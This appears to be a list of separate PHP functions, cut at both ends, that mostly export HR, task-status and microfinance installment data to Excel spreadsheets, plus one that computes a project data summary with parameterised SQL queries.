$excel->setActiveSheetIndex(0)->setCellValue('AT' . $numrow, date('01-m-Y', strtotime($tgl_mpp)));\n $excel->setActiveSheetIndex(0)->setCellValue('AU' . $numrow, date('01-m-Y', strtotime($tgl_pen)));\n }\n if ($golongan >= 9 and $golongan <= 16) {\n $tgl_pen = date('Y-m-d', strtotime('+56 year +1 month', strtotime($i['tgl_lhr'])));\n $tgl_mpp = date('Y-m-d', strtotime('-6 month', strtotime($tgl_pen)));\n $excel->setActiveSheetIndex(0)->setCellValue('AT' . $numrow, date('01-m-Y', strtotime($tgl_mpp)));\n $excel->setActiveSheetIndex(0)->setCellValue('AU' . $numrow, date('01-m-Y', strtotime($tgl_pen)));\n }\n\n $sdm01 = $this->Model_admin->tampil_a1($i['npp'])->result_array();\n $skrng = date_create($sdm01[0]['tgl_masuk']);\n $tgl_pen = date_create($tgl_pen);\n\n $diff = date_diff($skrng, $tgl_pen);\n\n if ($diff->y > 57) {\n $excel->setActiveSheetIndex(0)->setCellValue('AV' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AW' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AX' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AY' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AZ' . $numrow, '');\n } else {\n $excel->setActiveSheetIndex(0)->setCellValue('AV' . $numrow, $diff->y);\n $excel->setActiveSheetIndex(0)->setCellValue('AW' . $numrow, $diff->m);\n $excel->setActiveSheetIndex(0)->setCellValue('AX' . $numrow, $diff->d);\n $excel->setActiveSheetIndex(0)->setCellValue('AY' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AZ' . $numrow, '');\n }\n\n // Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n $excel->getActiveSheet()->getStyle('A' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('B' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('C' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('D' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('E' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('F' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('G' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('H' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('I' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('J' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('K' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('L' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('M' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('N' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('O' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('P' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Q' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('R' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('S' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('T' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('U' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('V' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('W' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('X' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Y' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Z' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AA' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AB' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AC' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AD' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AE' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AF' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AG' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AH' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AI' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AJ' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AK' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AL' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AM' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AN' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AO' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AP' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AQ' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AR' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AS' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AT' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AU' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AV' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AW' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AX' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AY' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AZ' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n\n $numrow++; // Tambah 1 setiap kali looping\n }\n\n\n // Set width kolom\n $excel->getActiveSheet()->getColumnDimension('A')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n $excel->getActiveSheet()->getColumnDimension('C')->setWidth(30);\n $excel->getActiveSheet()->getColumnDimension('D')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('E')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('F')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('G')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('H')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('I')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('J')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('K')->setWidth(50);\n $excel->getActiveSheet()->getColumnDimension('L')->setWidth(20);\n $excel->getActiveSheet()->getColumnDimension('M')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('N')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('O')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('P')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('Q')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('R')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('S')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('T')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('U')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('V')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('W')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('X')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('Y')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('Z')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AA')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('AB')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AC')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AD')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AE')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('AF')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AG')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AH')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AI')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AJ')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AK')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AL')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('AM')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AN')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AO')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AP')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AQ')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AR')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AS')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AT')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AU')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AV')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AW')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AX')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AY')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AZ')->setWidth(5);\n\n // Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n $excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n // Set orientasi kertas jadi LANDSCAPE\n $excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n date_default_timezone_set('Asia/Jakarta');\n $date = date(\"mY\");\n\n // Set judul file excel nya\n $excel->getActiveSheet(0)->setTitle(\"Data A1\");\n $excel->setActiveSheetIndex(0);\n\n // Proses file excel\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"Data A1' . $date . '.xlsx\"'); // Set nama file excel nya\n header('Cache-Control: max-age=0');\n\n header('Content-Transfer-Encoding: binary');\n header('Accept-Ranges: bytes');\n header('Cache-control: no-cache, pre-check=0, post-check=0');\n header('Cache-control: private');\n header('Pragma: private');\n header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // any date in the past\n\n $write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n $write->save('php://output');\n }", "function UpdateProjectDataSummary($branch_id, $projectID, $db)\n{\n\n\t//Values to be filled\n\t$replicate_count = 0; $condition_count= 0; $set_count=0; $quant_meas_count = 0; $avg_meas_per_rep_count = 0; $avg_meas_overlap_cond = 0; $avg_rep_cv = 0;\n\n\t//Get replicate count\n\t$query = \"SELECT COUNT(*) FROM project_replicates WHERE branch_id=:branch_id\";\n\t$query_params = array(':branch_id' => $branch_id);\n\t$stmt = $db->prepare($query);\n\t$result = $stmt->execute($query_params);\n\t$row = $stmt->fetch();\n\tif ($row)\n\t{\n\t\t$replicate_count = $row[\"COUNT(*)\"];\n\t}\n\t\n\t//Get condition count\n\t$query = \"SELECT COUNT(*) FROM project_conditions WHERE branch_id=:branch_id\";\n\t$query_params = array(':branch_id' => $branch_id);\n\t$stmt = $db->prepare($query);\n\t$result = $stmt->execute($query_params);\n\t$row = $stmt->fetch();\n\tif ($row)\n\t{\n\t\t$condition_count = $row[\"COUNT(*)\"];\n\t}\n\n\t//Get set count\n\t$query = \"SELECT COUNT(*) FROM project_sets WHERE branch_id=:branch_id\";\n\t$query_params = array(':branch_id' => $branch_id);\n\t$stmt = $db->prepare($query);\n\t$result = $stmt->execute($query_params);\n\t$row = $stmt->fetch();\n\tif ($row)\n\t{\n\t\t$set_count = $row[\"COUNT(*)\"];\n\t}\n\n\t//Get measurement count\n\t//SELECT COUNT(*) FROM data_replicate_data AS a JOIN project_conditions AS b ON a.condition_id=b.condition_id WHERE a.branch_id='ai01gJR'\n\t$query = \"SELECT COUNT(*) FROM data_replicate_data AS a JOIN project_conditions AS b ON a.condition_id=b.condition_id WHERE a.branch_id=:branch_id\";\n\t$query_params = array(':branch_id' => $branch_id);\n\t$stmt = $db->prepare($query);\n\t$result = $stmt->execute($query_params);\n\t$row = $stmt->fetch();\n\tif ($row)\n\t{\n\t\t$quant_meas_count = $row[\"COUNT(*)\"];\n\t}\n\n\t//Get average cv\n\t$query = \"SELECT AVG(a.cv_quant_values) FROM data_condition_data AS a JOIN project_conditions AS b on a.condition_id=b.condition_id WHERE a.branch_id=:branch_id\";\n\t$query_params = array(':branch_id' => $branch_id);\n\t$stmt = $db->prepare($query);\n\t$result = $stmt->execute($query_params);\n\t$row = $stmt->fetch();\n\tif ($row)\n\t{\n\t\t$avg_rep_cv = $row[\"AVG(a.cv_quant_values)\"];\n\t}\n\n\t//Get avg measurements per rep\n\t//SELECT COUNT(a.unique_identifier_id), a.replicate_id FROM data_replicate_data AS a JOIN project_conditions AS b ON a.condition_id=b.condition_id WHERE a.branch_id='ai01gJR-1B' GROUP BY a.replicate_id\n\t$query = \"SELECT COUNT(a.unique_identifier_id), a.replicate_id FROM data_replicate_data AS a JOIN project_conditions AS b ON a.condition_id=b.condition_id WHERE a.branch_id=:branch_id GROUP BY a.replicate_id\";\n\t$query_params = array(':branch_id' => $branch_id);\n\t$stmt = $db->prepare($query);\n\t$result = $stmt->execute($query_params);\n\t$row = $stmt->fetchAll();\n\t$all_rep_meas_counts = array();\n\tif ($row)\n\t{\n\t\tforeach ($row as $entry) {\n\t\t\tarray_push($all_rep_meas_counts, $entry['COUNT(a.unique_identifier_id)']);\n\t\t}\n\t}\n\t$avg_meas_per_rep_count = Mean($all_rep_meas_counts);\n\n\t//Get avg measurements per cond **store cond ids for later processing\n\t$query = \"SELECT COUNT(a.unique_identifier_id), a.condition_id FROM data_condition_data AS a JOIN project_conditions AS b ON a.condition_id=b.condition_id WHERE a.branch_id=:branch_id GROUP BY condition_id\";\n\t$query_params = array(':branch_id' => $branch_id);\n\t$stmt = $db->prepare($query);\n\t$result = $stmt->execute($query_params);\n\t$row = $stmt->fetchAll();\n\t$all_cond_meas_counts = array();\n\t$all_cond_ids = array();\n\tif ($row)\n\t{\n\t\tforeach ($row as $entry) {\n\t\t\tarray_push($all_cond_meas_counts, $entry['COUNT(a.unique_identifier_id)']);\n\t\t\tarray_push($all_cond_ids, $entry['condition_id']);\n\t\t}\n\t}\n\t$avg_meas_per_cond_count = Mean($all_cond_meas_counts);\n\n\t$avg_overlap_counts = array();\n\tfor ($i= 0; $i < count($all_cond_ids); $i++)\n\t{\n\t\tfor ($j = $i+1; $j < count($all_cond_ids); $j++)\n\t\t{\n\t\t\t$id_1 = $all_cond_ids[$i];\n\t\t\t$id_2 = $all_cond_ids[$j];\n\t\t\t$query = \"SELECT COUNT(*) FROM (SELECT t1.unique_identifier_id FROM data_condition_data t1 INNER JOIN data_condition_data t2 ON t1.unique_identifier_id = t2.unique_identifier_id WHERE t1.condition_id=:id_1 AND t2.condition_id=:id_2 AND t1.branch_id=:branch_id_1 AND t2.branch_id=:branch_id_2) I\";\n\t\t\t$query_params = array(':id_1' => $id_1, ':id_2' => $id_2, ':branch_id_2' => $branch_id, ':branch_id_1' => $branch_id);\n\t\t\t$stmt = $db->prepare($query);\n\t\t\t$result = $stmt->execute($query_params);\n\t\t\t$row = $stmt->fetch();\n\t\t\tif ($row)\n\t\t\t{\n\t\t\t\tarray_push($avg_overlap_counts, $row['COUNT(*)']);\n\t\t\t}\n\t\t}\n\t}\n\t$avg_meas_overlap_cond = Mean($avg_overlap_counts);\n\n\t$query = \"DELETE FROM project_data_summary WHERE branch_id=:branch_id\";\n\t$query_params = array(':branch_id' => $branch_id);\n\t$stmt = $db->prepare($query);\n\t$result = $stmt->execute($query_params);\n\n\t$query = \"INSERT INTO project_data_summary (project_id, branch_id, replicate_count, condition_count, set_count, quant_measurement_count, avg_meas_per_rep, avg_meas_per_cond, avg_meas_overlap_cond, avg_rep_cv) VALUES \n\t(:project_id, :branch_id, :replicate_count, :condition_count, :set_count, :quant_measurement_count, :avg_meas_per_rep, :avg_meas_per_cond, :avg_meas_overlap_cond, :avg_rep_cv)\";\n\n\t$query_params = array(':project_id' => $projectID, ':branch_id' => $branch_id, ':replicate_count' => $replicate_count, ':condition_count' => $condition_count, ':set_count' => $set_count,\n\t\t':quant_measurement_count' => $quant_meas_count, ':avg_meas_per_rep' => $avg_meas_per_cond_count, ':avg_meas_per_cond' => $avg_meas_per_rep_count, \n\t\t':avg_meas_overlap_cond' => $avg_meas_overlap_cond, ':avg_rep_cv' => $avg_rep_cv);\n\t$stmt = $db->prepare($query);\n\t$result = $stmt->execute($query_params);\n}", "public function exportToxls(){\n\t\t//echo \"exportToxls\";exit;\t\t\n\t\t$tskstatus = ManageTaskStatus::select('id as Sr.No.', 'status_name')->where('deleted_status', '=', 0)->get(); \t\t\n\t\t$getCount = $tskstatus->count(); \n\n if ($getCount < 1) { \n\t\t\t return false;\t\t\t \n } else {\n\t\t\t//export to excel\n\t\t\tExcel::create('Status Data', function($excel) use($tskstatus){\n\t\t\t\t$excel->sheet('Status', function($sheet) use($tskstatus){\n\t\t\t\t\t$sheet->fromArray($tskstatus);\n\t\t\t\t});\n\t\t\t})->export('xlsx');\t\t\t\t\n\t\t}\t\t\t\t\n\t}", "function export_nik_unins_angsuran()\n\t{\n\t\t$angsuran_id=$this->uri->segment(3);\n\t\t$datas = $this->model_transaction->get_angsuran_unins($angsuran_id);\n\n\t\t// Create new PHPExcel object\n\t\t$objPHPExcel = $this->phpexcel;\n\t\t// Set document properties\n\t\t$objPHPExcel->getProperties()->setCreator(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setLastModifiedBy(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setTitle(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setSubject(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setDescription(\"REPORT, generated using PHP classes.\")\n\t\t\t\t\t\t\t\t\t ->setKeywords(\"REPORT\")\n\t\t\t\t\t\t\t\t\t ->setCategory(\"Test result file\");\n\t\t\t\t\t\t\t\t\t \n\t\t$objPHPExcel->setActiveSheetIndex(0); \n\t\t\n\t\t/*\n\t\t| BORDER OPTION\n\t\t*/\n\t\t$styleArray['borders']['outline']['style']=PHPExcel_Style_Border::BORDER_THIN;\n\t\t$styleArray['borders']['outline']['color']['rgb']='000000';\n\t\t/*\n\t\t| SET COLUMN WIDTH\n\t\t*/\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(15);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\n\t\t/*\n\t\t| ROW HEADER TITLE\n\t\t*/\n\t\t$row=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"List Angsuran Non-Debet\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true);\n\t\t\n\t\t$row+=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"NIK\");\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,\"Nama\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setBold(true);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':A'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('B'.$row.':B'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t$row+=1;\n\t\t/*\n\t\t| ROW DATA\n\t\t*/\n\t\tfor($i=0;$i<count($datas);$i++){\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,$datas[$i]['nik']);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,$datas[$i]['nama']);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setSize(11);\n\t\t\t$row++;\n\t\t}\n\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment;filename=\"ANGSURAN NON-DEBET.xlsx\"');\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\t$objWriter->save('php://output');\n\t}", "function export_finance_canceled_angsuran()\n\t{\n\t\t$angsuran_id=$this->uri->segment(3);\n\t\t$datas = $this->model_transaction->get_angsuran_canceled($angsuran_id);\n\n\t\t// Create new PHPExcel object\n\t\t$objPHPExcel = $this->phpexcel;\n\t\t// Set document properties\n\t\t$objPHPExcel->getProperties()->setCreator(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setLastModifiedBy(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setTitle(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setSubject(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setDescription(\"REPORT, generated using PHP classes.\")\n\t\t\t\t\t\t\t\t\t ->setKeywords(\"REPORT\")\n\t\t\t\t\t\t\t\t\t ->setCategory(\"Test result file\");\n\t\t\t\t\t\t\t\t\t \n\t\t$objPHPExcel->setActiveSheetIndex(0); \n\t\t\n\t\t/*\n\t\t| BORDER OPTION\n\t\t*/\n\t\t$styleArray['borders']['outline']['style']=PHPExcel_Style_Border::BORDER_THIN;\n\t\t$styleArray['borders']['outline']['color']['rgb']='000000';\n\t\t/*\n\t\t| SET COLUMN WIDTH\n\t\t*/\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(15);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\n\t\t/*\n\t\t| ROW HEADER TITLE\n\t\t*/\n\t\t$row=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"List Angsuran Dibatalkan\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true);\n\t\t\n\t\t$row+=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"No. Pembiayaan\");\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,\"Nama\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setBold(true);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':A'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('B'.$row.':B'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t$row+=1;\n\t\t/*\n\t\t| ROW DATA\n\t\t*/\n\t\tfor($i=0;$i<count($datas);$i++){\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,$datas[$i]['account_financing_no']);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,$datas[$i]['nama']);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setSize(11);\n\t\t\t$row++;\n\t\t}\n\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment;filename=\"ANGSURAN DIBATALKAN.xlsx\"');\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\t$objWriter->save('php://output');\n\t}", "public function setExportDetailsXLS(&$worksheet, $startrow, $active_id, $pass, &$format_title, &$format_bold)\n\t{\n\t\tinclude_once (\"./Services/Excel/classes/class.ilExcelUtils.php\");\n\t\t$solutions = $this->getSolutionValues($active_id, $pass);\n\t\t$worksheet->writeString($startrow, 0, ilExcelUtils::_convert_text($this->lng->txt($this->getQuestionType())), $format_title);\n\t\t$worksheet->writeString($startrow, 1, ilExcelUtils::_convert_text($this->getTitle()), $format_title);\n\t\t$i = 1;\n\t\tforeach ($solutions as $solution)\n\t\t{\n\t\t\t$worksheet->write($startrow + $i, 0, ilExcelUtils::_convert_text($solution[\"value1\"]));\n\t\t\t$i++;\n\t\t}\n\t\treturn $startrow + $i + 1;\n\t}", "public function get_summary_data($type=null){\n\t\t//Verify if type is valid\n\t\tif(!$this->_valid_data_type($type)){\n\t\t\tthrow new Exception(\"Invalid type parameter\");\n\t\t}\n\n //IF type is not set, get summary for all 